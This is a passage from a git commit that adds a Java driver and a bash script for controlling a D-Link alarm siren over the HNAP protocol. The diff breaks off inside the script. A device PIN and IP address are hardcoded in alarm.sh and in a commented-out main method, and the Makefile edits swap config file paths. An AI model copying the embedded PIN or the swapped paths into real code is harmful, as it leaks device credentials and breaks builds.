Adding DlinkAlarm as a driver for D-Link alarm/siren - replacing EspAlarm board
authorrtrimana <rtrimana@uci.edu>
Wed, 29 Nov 2017 01:21:27 +0000 (17:21 -0800)
committerrtrimana <rtrimana@uci.edu>
Wed, 29 Nov 2017 01:21:27 +0000 (17:21 -0800)
benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java [new file with mode: 0644]
benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config [new file with mode: 0644]
benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java [new file with mode: 0644]
benchmarks/drivers/Java/Makefile
benchmarks/other/DLinkAlarm/alarm.sh [new file with mode: 0755]
benchmarks/other/DLinkAlarm/attack.sh [new file with mode: 0755]
iotjava/iotruntime/IoTTCP.java

diff --git a/benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java b/benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java
new file mode 100644 (file)
index 0000000..31b84f5
--- /dev/null
@@ -0,0 +1,225 @@
+package iotcode.DlinkAlarm;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.HashMap;
+import java.util.concurrent.atomic.AtomicBoolean;
+import iotrmi.Java.IoTRMIComm;
+import iotrmi.Java.IoTRMICommClient;
+import iotrmi.Java.IoTRMICommServer;
+import iotrmi.Java.IoTRMIUtil;
+
+import iotcode.interfaces.*;
+
+public class Alarm_Skeleton implements Alarm {
+
+       private Alarm mainObj;
+       private int objectId = 1;
+       // Communications and synchronizations
+       private IoTRMIComm rmiComm;
+       private AtomicBoolean didAlreadyInitWaitInvoke;
+       private AtomicBoolean methodReceived;
+       private byte[] methodBytes = null;
+       // Permissions
+       private static Integer[] object1Permission = { 4, 2, 0, 1, 3 };
+       private static List<Integer> set1Allowed;
+       
+
+       public Alarm_Skeleton(Alarm _mainObj, int _portSend, int _portRecv) throws Exception {
+               mainObj = _mainObj;
+               rmiComm = new IoTRMICommServer(_portSend, _portRecv);
+               set1Allowed = new ArrayList<Integer>(Arrays.asList(object1Permission));
+               IoTRMIUtil.mapSkel.put(_mainObj, this);
+               IoTRMIUtil.mapSkelId.put(_mainObj, objectId);
+               didAlreadyInitWaitInvoke = new AtomicBoolean(false);
+               methodReceived = new AtomicBoolean(false);
+               rmiComm.registerSkeleton(objectId, methodReceived);
+               Thread thread1 = new Thread() {
+                       public void run() {
+                               try {
+                                       ___waitRequestInvokeMethod();
+                               }
+                               catch (Exception ex)
+                               {
+                                       ex.printStackTrace();
+                               }
+                       }
+               };
+               thread1.start();
+       }
+
+       public Alarm_Skeleton(Alarm _mainObj, IoTRMIComm _rmiComm, int _objectId) throws Exception {
+               mainObj = _mainObj;
+               rmiComm = _rmiComm;
+               objectId = _objectId;
+               set1Allowed = new ArrayList<Integer>(Arrays.asList(object1Permission));
+               didAlreadyInitWaitInvoke = new AtomicBoolean(false);
+               methodReceived = new AtomicBoolean(false);
+               rmiComm.registerSkeleton(objectId, methodReceived);
+       }
+
+       public boolean didAlreadyInitWaitInvoke() {
+               return didAlreadyInitWaitInvoke.get();
+       }
+
+       public void init() {
+               mainObj.init();
+       }
+
+       public void setZone(int _zone, boolean _onOff, int _onDurationSeconds) {
+               mainObj.setZone(_zone, _onOff, _onDurationSeconds);
+       }
+
+       public List<ZoneState> getZoneStates() {
+               return mainObj.getZoneStates();
+       }
+
+       public int getNumberOfZones() {
+               return mainObj.getNumberOfZones();
+       }
+
+       public boolean doesHaveZoneTimers() {
+               return mainObj.doesHaveZoneTimers();
+       }
+
+       public void ___init() {
+               byte[] localMethodBytes = methodBytes;
+               rmiComm.setGetMethodBytes();
+               Object[] paramObj = rmiComm.getMethodParams(new Class<?>[] {  }, new Class<?>[] {  }, localMethodBytes);
+               init();
+       }
+
+       public void ___setZone() {
+               byte[] localMethodBytes = methodBytes;
+               rmiComm.setGetMethodBytes();
+               Object[] paramObj = rmiComm.getMethodParams(new Class<?>[] { int.class, boolean.class, int.class }, new Class<?>[] { null, null, null }, localMethodBytes);
+               setZone((int) paramObj[0], (boolean) paramObj[1], (int) paramObj[2]);
+       }
+
+       public void ___getZoneStates() throws IOException {
+               byte[] localMethodBytes = methodBytes;
+               rmiComm.setGetMethodBytes();
+               Object[] paramObj = rmiComm.getMethodParams(new Class<?>[] {  }, new Class<?>[] {  }, localMethodBytes);
+               List<ZoneState> retStruct = getZoneStates();
+               int retLen = retStruct.size();
+               Object retLenObj = retLen;
+               rmiComm.sendReturnObj(retLenObj, localMethodBytes);
+               Class<?>[] retCls = new Class<?>[3*retLen];
+               Object[] retObj = new Object[3*retLen];
+               int retPos = 0;
+               for(int i = 0; i < retLen; i++) {
+                       retCls[retPos] = int.class;
+                       retObj[retPos++] = retStruct.get(i).zoneNumber;
+                       retCls[retPos] = boolean.class;
+                       retObj[retPos++] = retStruct.get(i).onOffState;
+                       retCls[retPos] = int.class;
+                       retObj[retPos++] = retStruct.get(i).duration;
+               }
+               rmiComm.sendReturnObj(retCls, retObj, localMethodBytes);
+       }
+
+       public void ___getNumberOfZones() throws IOException {
+               byte[] localMethodBytes = methodBytes;
+               rmiComm.setGetMethodBytes();
+               Object[] paramObj = rmiComm.getMethodParams(new Class<?>[] {  }, new Class<?>[] {  }, localMethodBytes);
+               Object retObj = getNumberOfZones();
+               rmiComm.sendReturnObj(retObj, localMethodBytes);
+       }
+
+       public void ___doesHaveZoneTimers() throws IOException {
+               byte[] localMethodBytes = methodBytes;
+               rmiComm.setGetMethodBytes();
+               Object[] paramObj = rmiComm.getMethodParams(new Class<?>[] {  }, new Class<?>[] {  }, localMethodBytes);
+               Object retObj = doesHaveZoneTimers();
+               rmiComm.sendReturnObj(retObj, localMethodBytes);
+       }
+
+       public void ___waitRequestInvokeMethod() throws IOException {
+               didAlreadyInitWaitInvoke.compareAndSet(false, true);
+               while (true) {
+                       if (!methodReceived.get()) {
+                               continue;
+                       }
+                       methodBytes = rmiComm.getMethodBytes();
+                       methodReceived.set(false);
+                       int _objectId = IoTRMIComm.getObjectId(methodBytes);
+                       int methodId = IoTRMIComm.getMethodId(methodBytes);
+                       if (_objectId == objectId) {
+                               if (!set1Allowed.contains(methodId)) {
+                                       throw new Error("Object with object Id: " + _objectId + "  is not allowed to access method: " + methodId);
+                               }
+                       }
+                       else {
+                               continue;
+                       }
+                       switch (methodId) {
+                               case 0:
+                               new Thread() {
+                                       public void run() {
+                                               try {
+                                                       ___init();
+                                               }
+                                               catch (Exception ex) {
+                                                       ex.printStackTrace();
+                                               }
+                                       }
+                               }.start();
+                               break;
+                               case 1:
+                               new Thread() {
+                                       public void run() {
+                                               try {
+                                                       ___setZone();
+                                               }
+                                               catch (Exception ex) {
+                                                       ex.printStackTrace();
+                                               }
+                                       }
+                               }.start();
+                               break;
+                               case 2:
+                               new Thread() {
+                                       public void run() {
+                                               try {
+                                                       ___getZoneStates();
+                                               }
+                                               catch (Exception ex) {
+                                                       ex.printStackTrace();
+                                               }
+                                       }
+                               }.start();
+                               break;
+                               case 3:
+                               new Thread() {
+                                       public void run() {
+                                               try {
+                                                       ___getNumberOfZones();
+                                               }
+                                               catch (Exception ex) {
+                                                       ex.printStackTrace();
+                                               }
+                                       }
+                               }.start();
+                               break;
+                               case 4:
+                               new Thread() {
+                                       public void run() {
+                                               try {
+                                                       ___doesHaveZoneTimers();
+                                               }
+                                               catch (Exception ex) {
+                                                       ex.printStackTrace();
+                                               }
+                                       }
+                               }.start();
+                               break;
+                               default: 
+                               throw new Error("Method Id " + methodId + " not recognized!");
+                       }
+               }
+       }
+
+}
diff --git a/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config
new file mode 100644 (file)
index 0000000..a4f10a8
--- /dev/null
@@ -0,0 +1,7 @@
+# Skeleton/original interface
+INTERFACE_CLASS=Alarm
+# Stub
+INTERFACE_STUB_CLASS=AlarmSmart
+
+# Language
+LANGUAGE=Java
diff --git a/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java
new file mode 100644 (file)
index 0000000..6b0ee18
--- /dev/null
@@ -0,0 +1,480 @@
+package iotcode.DlinkAlarm;
+
+// Standard Java Packages
+import java.io.*;
+import java.net.*;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.security.InvalidParameterException;
+import java.util.Date;
+import java.util.Iterator;
+import java.nio.charset.StandardCharsets;
+import java.util.Set;
+import java.util.HashSet;
+import java.util.List;
+import java.util.ArrayList;
+
+// HMAC digest packages
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.UnsupportedEncodingException;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+
+// IoT Packages
+import iotruntime.IoTTCP;
+import iotruntime.slave.IoTDeviceAddress;
+import iotruntime.slave.IoTSet;
+import iotcode.interfaces.ZoneState;
+import iotcode.interfaces.Alarm;
+
+//import iotchecker.qual.*;
+import iotcode.annotation.*;
+
+/** Class DlinkAlarm for the D-Link Alarm.
+ *
+ * @author      Rahmadi Trimananda <rtrimana @ uci.edu>
+ * @version     1.0
+ * @since       2017-11-28
+ */
+
+public class DlinkAlarm implements Alarm {
+
+       /*******************************************************************************************************************************************
+       **
+       **  Variables
+       **
+       *******************************************************************************************************************************************/
+    private static final String STR_HMAC_ALGO = "HmacMD5";
+    private static final int INT_ALARM_SOUND_TYPE = 6;
+    private static final int INT_ALARM_VOLUME = 0;
+    private static final int INT_ALARM_MAX_DUR = 86400;
+
+    private String host = null;
+    private String head = null;
+    private String end = null;
+    private IoTDeviceAddress deviceAddress = null;
+    private String devicePin = null;
+    private String response = null;
+    // The following 3 are needed to send commands to the alarm/siren
+    private String cookie = null;
+    private String timeStamp = null;
+    private String privateKey = null;
+      
+
+       /*******************************************************************************************************************************************
+       **
+       **  IoT Sets and Relations
+       **
+       *******************************************************************************************************************************************/
+
+       // IoTSet of Device Addresses.
+       // Will be filled with only 1 address.
+       @config private IoTSet<IoTDeviceAddress> alm_Addresses;
+
+       public DlinkAlarm(IoTSet<IoTDeviceAddress> _alm_addr, String _devicePin) {
+               alm_Addresses = _alm_addr;
+               devicePin = _devicePin;
+       }
+
+       public DlinkAlarm(String _devicePin) {
+               devicePin = _devicePin;
+       }
+
+
+       /*******************************************************************************************************************************************
+       **
+       **  Interface Methods
+       **
+       *******************************************************************************************************************************************/
+
+       /** Method to set the state of a specified zone. Interface implementation.
+        *
+        *   @param _zone [int]             : zone number to set.
+        *   @param _onOff [boolean]        : the state to set the zone to, on or off.
+        *   @param _onDurationSeconds [int]: the duration to set the state on to, if -1 then infinite.
+        *
+        *   @return [void] None.
+        */
+       public void setZone(int _zone, boolean _onOff, int _onDurationSeconds) {
+        
+        // We don't use zone at this point (for this alarm there is only 1 zone and 1 alarm)
+
+        // True means on
+        if (_onOff) {
+            if ((_onDurationSeconds == -1) || (_onDurationSeconds > 86400)) {
+                // Set alarm on to max duration
+                setSoundPlay(INT_ALARM_SOUND_TYPE, INT_ALARM_VOLUME, INT_ALARM_MAX_DUR);
+            } else {
+                setSoundPlay(INT_ALARM_SOUND_TYPE, INT_ALARM_VOLUME, _onDurationSeconds);
+            }
+        } else { // Else turn off
+            setAlarmDismissed();
+        }
+    }
+
+
+       /** Method to get the current state of all the zones. Interface implementation.
+        *
+        *   @param None.
+        *
+        *   @return [List<ZoneState>] list of the states for the zones.
+        */
+       public List<ZoneState> getZoneStates() {
+
+        return null;
+       }
+
+
+       /** Method to get the number of zones this alarm can control. Interface implementation.
+        *
+        *   @param None.
+        *
+        *   @return [int] number of zones that can be controlled.
+        */
+       public int getNumberOfZones() {
+               return 1;
+       }
+
+
+       /** Method to get whether or not this alarm can control durations. Interface implementation.
+        *
+        *   @param None.
+        *
+        *   @return [boolean] boolean if this sprinkler can do durations.
+        */
+       public boolean doesHaveZoneTimers() {
+               return true;
+       }
+
+
+       /** Method to initialize the alarm. Interface implementation.
+        *
+        *   @param None.
+        *
+        *   @return [void] None.
+        */
+       public void init() {
+
+               try {
+                       Iterator itr = alm_Addresses.iterator();
+                       deviceAddress = (IoTDeviceAddress)itr.next();
+                       host = deviceAddress.getHostAddress();
+                       System.out.println("Address: " + host);
+                       
+            // Add the head ...
+            head = "<?xml version=\"1.0\" encoding=\"utf-8" +
+                          "\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance" +
+                          "\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=" + 
+                          "\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>";
+            // End!
+            end = "</soap:Body></soap:Envelope>\r\n";
+            // Send login request first
+            sendLoginRequest();
+            // Send login info (challenge and HMAC encrypted message)
+            sendLoginInfo();
+               } catch (Exception e) {
+                       e.printStackTrace();
+               }
+    }
+
+       /*******************************************************************************************************************************************
+       **
+       **  Private Handlers
+       **
+       *******************************************************************************************************************************************/
+
+    private void sendLoginRequest() {
+
+        try {
+            // Message
+            String body = head + "<Login xmlns=\"http://purenetworks.com/HNAP1/" +
+                          "\"><Action>request</Action><Username>admin</Username><LoginPassword></LoginPassword><Captcha/></Login>" + end;
+            String postMessage = "POST /HNAP1 HTTP/1.1\r\n";
+            postMessage += "User-Agent: Java/1.8.0_144\r\n";
+            postMessage += "Host: " + host + "\r\n";
+            postMessage += "Accept: */*\r\n";
+            postMessage += "Content-Type: text/xml; charset=utf-8\r\n";
+            postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"\r\n";
+            postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n";
+            postMessage += "\r\n";
+            postMessage += body;
+
+                       // Create the communication channel
+                       //IoTTCP connection = new IoTTCP(deviceAddress);
+                       IoTTCP connection = new IoTTCP();
+                       connection.setReuseAddress(true);
+                       connection.bindAndConnect(deviceAddress, false);
+
+            // Get in and out communication
+            System.out.println(postMessage);          
+            PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true);
+            BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+            tcpOut.print(postMessage);
+            tcpOut.flush();
+
+            // wait for data
+            while (!tcpIn.ready()) {
+            }
+
+            // Wait a bit longer for data
+            Thread.sleep(10);
+
+            // get the response
+            while (tcpIn.ready()) {
+                response = tcpIn.readLine();
+                System.out.println("Response to Login Request: " + response);
+            }
+            connection.close();
+            
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+    
+    private void sendLoginInfo() {
+
+        // Extract challenge, public key, and cookie
+        String challenge = getTagValue(response, "Challenge");
+        cookie = "Cookie: uid=" + getTagValue(response, "Cookie");
+        String publicKey = getTagValue(response, "PublicKey") + devicePin;
+        
+        // Generate private key and password
+        privateKey = hmacDigest(challenge, publicKey, STR_HMAC_ALGO);
+        String password = hmacDigest(challenge, privateKey, STR_HMAC_ALGO);
+        timeStamp = Long.toString(getUnixEpochSeconds());
+        // HNAP authentication
+        String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/Login\"";
+        String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO);
+        String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp;
+
+        try {
+            // Message
+            String body = head + "<Login xmlns=\"http://purenetworks.com/HNAP1/" +
+                          "\"><Action>login</Action><Username>admin</Username><LoginPassword>" + 
+                          password + "</LoginPassword><Captcha/></Login>" + end;
+            String postMessage = "POST /HNAP1 HTTP/1.1\r\n";
+            postMessage += "User-Agent: Java/1.8.0_144\r\n";
+            postMessage += "Host: " + host + "\r\n";
+            postMessage += "Accept: */*\r\n";
+            postMessage += "Content-Type: text/xml; charset=utf-8\r\n";
+            postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"\r\n";
+            postMessage += hnap_auth + "\r\n";
+            postMessage += cookie + "\r\n";
+            postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n";
+            postMessage += "\r\n";
+            postMessage += body;
+
+                       // Create the communication channel
+                       //IoTTCP connection = new IoTTCP(deviceAddress);
+                       IoTTCP connection = new IoTTCP();
+                       connection.setReuseAddress(true);
+                       connection.bindAndConnect(deviceAddress, false);
+
+            // Get in and out communication
+            System.out.println(postMessage);          
+            PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true);
+            BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+            tcpOut.print(postMessage);
+            tcpOut.flush();
+
+            // wait for data
+            while (!tcpIn.ready()) {
+            }
+
+            // Wait a bit longer for data
+            //Thread.sleep(10);
+
+            // get the response
+            while (tcpIn.ready()) {
+                response = tcpIn.readLine();
+                System.out.println("Response to Login Info: " + response);
+            }
+            connection.close();
+                       
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+    
+    private void setSoundPlay(int soundType, int volume, int duration) {
+
+        try {
+            // Message
+            String method = "SetSoundPlay";
+            String body = head + "<" + method + " xmlns=\"http://purenetworks.com/HNAP1/\">" + 
+                        "<ModuleID>1</ModuleID><Controller>1</Controller><SoundType>" + Integer.toString(soundType) + 
+                        "</SoundType><Volume>" + Integer.toString(volume) + "</Volume><Duration>" + Integer.toString(duration) +
+                        "</Duration></" + method + ">" + end;
+            String postMessage = "POST /HNAP1 HTTP/1.1\r\n";
+            postMessage += "User-Agent: Java/1.8.0_144\r\n";
+            postMessage += "Host: " + host + "\r\n";
+            postMessage += "Accept: */*\r\n";
+            postMessage += "Content-Type: text/xml; charset=utf-8\r\n";
+            postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/" + method + "\"\r\n";
+            // HNAP authentication
+            String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/" + method + "\"";
+            String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO);
+            String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp;            
+            postMessage += hnap_auth + "\r\n";
+            postMessage += cookie + "\r\n";
+            postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n";
+            postMessage += "\r\n";
+            postMessage += body;
+
+            System.out.println(postMessage);
+
+                       // Create the communication channel
+                       //IoTTCP connection = new IoTTCP(deviceAddress);
+                       IoTTCP connection = new IoTTCP();
+                       connection.setReuseAddress(true);
+                       connection.bindAndConnect(deviceAddress, false);
+
+            // Get in and out communication
+            PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true);
+            BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+            tcpOut.print(postMessage);
+            tcpOut.flush();
+
+            // wait for data
+            while (!tcpIn.ready()) {
+            }
+
+            // Wait a bit longer for data
+            //Thread.sleep(10);
+            
+            // get the response
+            while (tcpIn.ready()) {
+                response = tcpIn.readLine();
+                System.out.println("Response to SetSoundPlay: " + response);
+            }
+            connection.close();
+           
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+    
+    private void setAlarmDismissed() {
+
+        try {
+            // Message
+            String method = "setAlarmDismissed";
+            String body = head + "<" + method + " xmlns=\"http://purenetworks.com/HNAP1/\">" + 
+                        "<ModuleID>1</ModuleID><Controller>1</Controller></" + method + ">" + end;
+            String postMessage = "POST /HNAP1 HTTP/1.1\r\n";
+            postMessage += "User-Agent: Java/1.8.0_144\r\n";
+            postMessage += "Host: " + host + "\r\n";
+            postMessage += "Accept: */*\r\n";
+            postMessage += "Content-Type: text/xml; charset=utf-8\r\n";
+            postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/" + method + "\"\r\n";
+            // HNAP authentication
+            String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/" + method + "\"";
+            String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO);
+            String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp;            
+            postMessage += hnap_auth + "\r\n";
+            postMessage += cookie + "\r\n";
+            postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n";
+            postMessage += "\r\n";
+            postMessage += body;
+
+            System.out.println(postMessage);
+
+                       // Create the communication channel
+                       //IoTTCP connection = new IoTTCP(deviceAddress);
+                       IoTTCP connection = new IoTTCP();
+                       connection.setReuseAddress(true);
+                       connection.bindAndConnect(deviceAddress, false);
+
+            // Get in and out communication
+            PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true);
+            BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+
+            tcpOut.print(postMessage);
+            tcpOut.flush();
+
+            // wait for data
+            while (!tcpIn.ready()) {
+            }
+
+            // Wait a bit longer for data
+            //Thread.sleep(10);
+            
+            // get the response
+            while (tcpIn.ready()) {
+                response = tcpIn.readLine();
+                System.out.println("Response to SetSoundPlay: " + response);
+            }
+            connection.close();
+           
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+    
+    // Adapted from https://stackoverflow.com/questions/4076910/how-to-retrieve-element-value-of-xml-using-java
+    private String getTagValue(String xml, String tagName) {
+
+        return xml.split("<"+tagName+">")[1].split("</"+tagName+">")[0];
+    }
+    
+    // Adapted from http://www.supermind.org/blog/1102/generating-hmac-md5-sha1-sha256-etc-in-java
+    private String hmacDigest(String message, String keyString, String algorithm) {
+        String digest = null;
+        try {
+            SecretKeySpec key = new SecretKeySpec((keyString).getBytes("UTF-8"), algorithm);
+            Mac mac = Mac.getInstance(algorithm);
+            mac.init(key);
+
+            byte[] bytes = mac.doFinal(message.getBytes("ASCII"));
+
+            // Create a StringBuffer and convert the bytes into a String
+            StringBuffer hash = new StringBuffer();
+            for (int i = 0; i < bytes.length; i++) {
+                String hex = Integer.toHexString(0xFF & bytes[i]);
+                if (hex.length() == 1) {
+                    hash.append('0');
+                }
+                hash.append(hex);
+            }
+            // We need to convert the String to upper case
+            digest = hash.toString().toUpperCase();
+        } catch (   UnsupportedEncodingException |
+                    InvalidKeyException          |
+                    NoSuchAlgorithmException e ) {
+            e.printStackTrace();
+        }
+        return digest;
+    }
+    
+    private long getUnixEpochSeconds() {
+        // Return time since January 1, 1970 00:00:00 UTC in seconds
+        return System.currentTimeMillis()/1000;
+    }
+    
+    /*public static void main(String[] args) throws Exception {
+
+        String ipAddress = "192.168.1.183";
+        String devicePin = "215530";
+        IoTDeviceAddress iotAddress = new IoTDeviceAddress(ipAddress, 12345, 80, false, false);
+        Set<IoTDeviceAddress> setAddress = new HashSet<IoTDeviceAddress>();
+        setAddress.add(iotAddress);
+        IoTSet<IoTDeviceAddress> iotSetAddress = new IoTSet<IoTDeviceAddress>(setAddress);
+        
+        DlinkAlarm alarm = new DlinkAlarm(iotSetAddress, devicePin);
+        alarm.init();
+        // Set alarm
+        alarm.setZone(0, true, -1);
+        // Set alarm
+        alarm.setZone(0, false, 0);
+        // Set alarm
+        alarm.setZone(0, true, -1);
+        // Set alarm
+        alarm.setZone(0, false, 0);
+    }*/
+}
+
+
index 480ace0a3eead89f6be31ae19c6655e6c7efb5ed..3d45da43db177ae71b60b9425f6ba50286efbdf8 100644 (file)
@@ -99,6 +99,12 @@ alarm:
        $(JAVAC) $(JFLAGS) EspAlarm/*.java
        cp EspAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm
        cd $(BIN_DIR)/iotcode/EspAlarm; $(JAR) $(JARFLAGS) EspAlarm.jar ../../iotcode/EspAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class
+       
+PHONY += dlink-alarm
+dlink-alarm:
+       $(JAVAC) $(JFLAGS) DlinkAlarm/*.java
+       cp DlinkAlarm/DlinkAlarm.config $(BIN_DIR)/iotcode/DlinkAlarm
+       cd $(BIN_DIR)/iotcode/DlinkAlarm; $(JAR) $(JARFLAGS) DlinkAlarm.jar ../../iotcode/DlinkAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class
 
 PHONY += motion
 motion:
@@ -211,9 +217,15 @@ check-homeroom:
 PHONY += check-alarm
 check-alarm:
        $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) EspAlarm/*.java
-       cp EspAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm
+       cp DlinkAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm
        cd $(BIN_DIR)/iotcode/EspAlarm; $(JAR) $(JARFLAGS) EspAlarm.jar ../../iotcode/EspAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class
 
+PHONY += check-dlink-alarm
+check-dlink-alarm:
+       $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) DlinkAlarm/*.java
+       cp EspAlarm/DlinkAlarm.config $(BIN_DIR)/iotcode/DlinkAlarm
+       cd $(BIN_DIR)/iotcode/DlinkAlarm; $(JAR) $(JARFLAGS) DlinkAlarm.jar ../../iotcode/DlinkAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class
+
 PHONY += check-motion
 check-motion:
        $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) MotionSensor/*.java
diff --git a/benchmarks/other/DLinkAlarm/alarm.sh b/benchmarks/other/DLinkAlarm/alarm.sh
new file mode 100755 (executable)
index 0000000..c1587c6
--- /dev/null
@@ -0,0 +1,123 @@
+#!/bin/bash
+# modify next two line for your DSP-W215
+IP="192.168.1.183"
+PIN="215530"
+# do not modify after this line if you don't know what you are doing
+
+function usage {
+       echo -e "\nUsage: $(basename $0) [OPTION]"
+       echo -e "\nOPTION:"
+       echo -e "\t--getstate"
+       echo -e "\t--stop"
+  echo -e "\t--noise SoundType(1-6) Volume(0-100) Duration(??)"
+}
+
+function hash_hmac {
+  data="$1"
+  key="$2"
+  echo -n "$data" | openssl dgst "-md5" -hmac "$key" -binary | xxd -ps -u
+}
+
+contentType="Content-Type: text/xml; charset=utf-8"
+soapLogin="SOAPAction: \"http://purenetworks.com/HNAP1/Login\""
+
+#Get Login data
+
+head="<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>"
+end="</soap:Body></soap:Envelope>"
+
+message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>admin</Username><LoginPassword></LoginPassword><Captcha/></Login>"
+loginrequest="$head$message$end"
+#echo "Login request: $loginrequest"
+
+#ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1`
+ret=`curl -v -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1`
+echo -e "Returned value: $ret"
+
+function getResult {
+  opt=`echo -n "$ret" | grep -Po "(?<=<$1>).*(?=</$1>)"`
+  echo -n "$opt"
+}
+
+#echo -e "Challenge: "
+#echo -e `getResult Challenge`
+
+challenge=`getResult Challenge`
+cookie="Cookie: uid=`getResult Cookie`"
+publickey="`getResult PublicKey`$PIN"
+privatekey=`hash_hmac "$challenge" "$publickey"`
+password=`hash_hmac "$challenge" "$privatekey"`
+timestamp=`date +%s`
+auth_str="$timestamp\"http://purenetworks.com/HNAP1/Login\""
+auth=`hash_hmac "$auth_str" "$privatekey"`
+hnap_auth="HNAP_AUTH: $auth $timestamp"
+
+message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>login</Action><Username>admin</Username><LoginPassword>$password</LoginPassword><Captcha/></Login>"
+
+login="$head$message$end"
+echo "Login info: $login"
+
+#Get Login Result
+#ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1`
+ret=`curl -v -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1`
+echo -e "Returned value: $ret"
+
+echo -e "\nUsage: $(basename $0) [OPTION]"
+
+case "$1" in
+--getstate )
+       #Next 2 rows to modify query
+       method="GetSirenAlarmSettings"
+       message="<$method xmlns=\"http://purenetworks.com/HNAP1/\"><ModuleID>1</ModuleID>><Controller>1</Controller></$method>"
+
+       #Do not modify after this line
+       soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\""
+       authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\""
+       auth=`hash_hmac "$authStr" "$privatekey"`
+       hnap_auth="HNAP_AUTH: $auth $timestamp"
+       data="$head$message$end"
+
+       #Get Device state from GetSocketSettings
+       #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+       ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+       echo -e "Timestamp=$timestamp\tSOAPAction=$soapAction\tAuthStr=$authStr\tAUTH=$auth\tHNAP=$hnap_auth\tRET = $ret" #This line is for debug purpose
+       ;;
+--noise )
+    #Next 2 rows to modify query
+    method="SetSoundPlay"
+    message="<$method xmlns=\"http://purenetworks.com/HNAP1/\"><ModuleID>1</ModuleID><Controller>1</Controller><SoundType>$2</SoundType><Volume>$3</Volume><Duration>$4</Duration></$method>"
+
+    #Do not modify after this line
+    soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\""
+    authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\""
+    auth=`hash_hmac "$authStr" "$privatekey"`
+    hnap_auth="HNAP_AUTH: $auth $timestamp"
+    data="$head$message$end"
+    echo -e "Sound data: $data"
+    
+    #Get Device state from GetSocketSettings
